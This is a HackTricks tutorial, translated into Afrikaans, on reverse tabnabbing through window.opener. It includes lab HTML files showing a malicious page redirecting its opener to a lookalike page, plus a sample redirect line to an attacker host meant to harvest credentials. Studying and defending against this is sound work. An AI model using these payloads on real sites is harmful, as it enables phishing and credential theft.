6.6 KiB
{% hint style="success" %}
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Beskrywing
In 'n situasie waar 'n aanvaller die href
argument van 'n <a
etiket met die attribuut target="_blank" rel="opener"
kan beheer wat deur 'n slagoffer geklik gaan word, kan die aanvaller hierdie skakel na 'n web wat onder sy beheer is (n kwaadwillige webwerf). Dan, sodra die slagoffer op die skakel klik en toegang tot die aanvaller se webwerf verkry, sal hierdie kwaadwillige webwerf in staat wees om die oorspronklike bladsy via die javascript objek window.opener
te beheer.
As die bladsy nie **rel="opener"
het nie, maar target="_blank"
bevat, en ook nie rel="noopener"
het nie, kan dit ook kwesbaar wees.
'n Gereelde manier om hierdie gedrag te misbruik, sou wees om die ligging van die oorspronklike web te verander via window.opener.location = https://attacker.com/victim.html
na 'n web wat deur die aanvaller beheer word wat soos die oorspronklike een lyk, sodat dit die inlog vorm van die oorspronklike webwerf kan imiteer en om gebruikers se kredensiale kan vra.
Let egter daarop dat aangesien die aanvaller nou die venster objek van die oorspronklike webwerf kan beheer, kan hy dit op ander maniere misbruik om stealthier aanvalle uit te voer (miskien javascript gebeurtenisse te modifiseer om inligting na 'n bediener wat deur hom beheer word, te ex-filtreer?)
Oorsig
Met terugskakel
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut nie gebruik word nie:
Sonder terugskakel
Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut gebruik word:
Voorbeelde
Skep die volgende bladsye in 'n gids en draai 'n webbediener met python3 -m http.server
Dan, toegang http://127.0.0.1:8000/
vulnerable.html, klik op die skakel en let op hoe die oorspronklike webwerf URL verander.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% endcode %}
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% endcode %}
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Toeganklike eienskappe
In die scenario waar 'n cross-origin toegang plaasvind (toegang oor verskillende domeine), is die eienskappe van die window JavaScript klasinstansie, waarna verwys word deur die opener JavaScript objekverwysing, wat deur 'n kwaadwillige webwerf verkry kan word, beperk tot die volgende:
opener.closed
: Hierdie eienskap word gebruik om te bepaal of 'n venster gesluit is, wat 'n booleaanse waarde teruggee.opener.frames
: Hierdie eienskap bied toegang tot alle iframe-elemente binne die huidige venster.opener.length
: Die aantal iframe-elemente wat in die huidige venster teenwoordig is, word deur hierdie eienskap teruggegee.opener.opener
: 'n Verwysing na die venster wat die huidige venster geopen het, kan deur hierdie eienskap verkry word.opener.parent
: Hierdie eienskap gee die ouerventers van die huidige venster terug.opener.self
: Toegang tot die huidige venster self word deur hierdie eienskap verskaf.opener.top
: Hierdie eienskap gee die boonste blaaivenster terug.
E however, in gevalle waar die domeine identies is, verkry die kwaadwillige webwerf toegang tot alle eienskappe wat deur die window JavaScript objekverwysing blootgestel word.
Voorkoming
Voorkomingsinligting is gedokumenteer in die HTML5 Cheat Sheet.
Verwysings
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.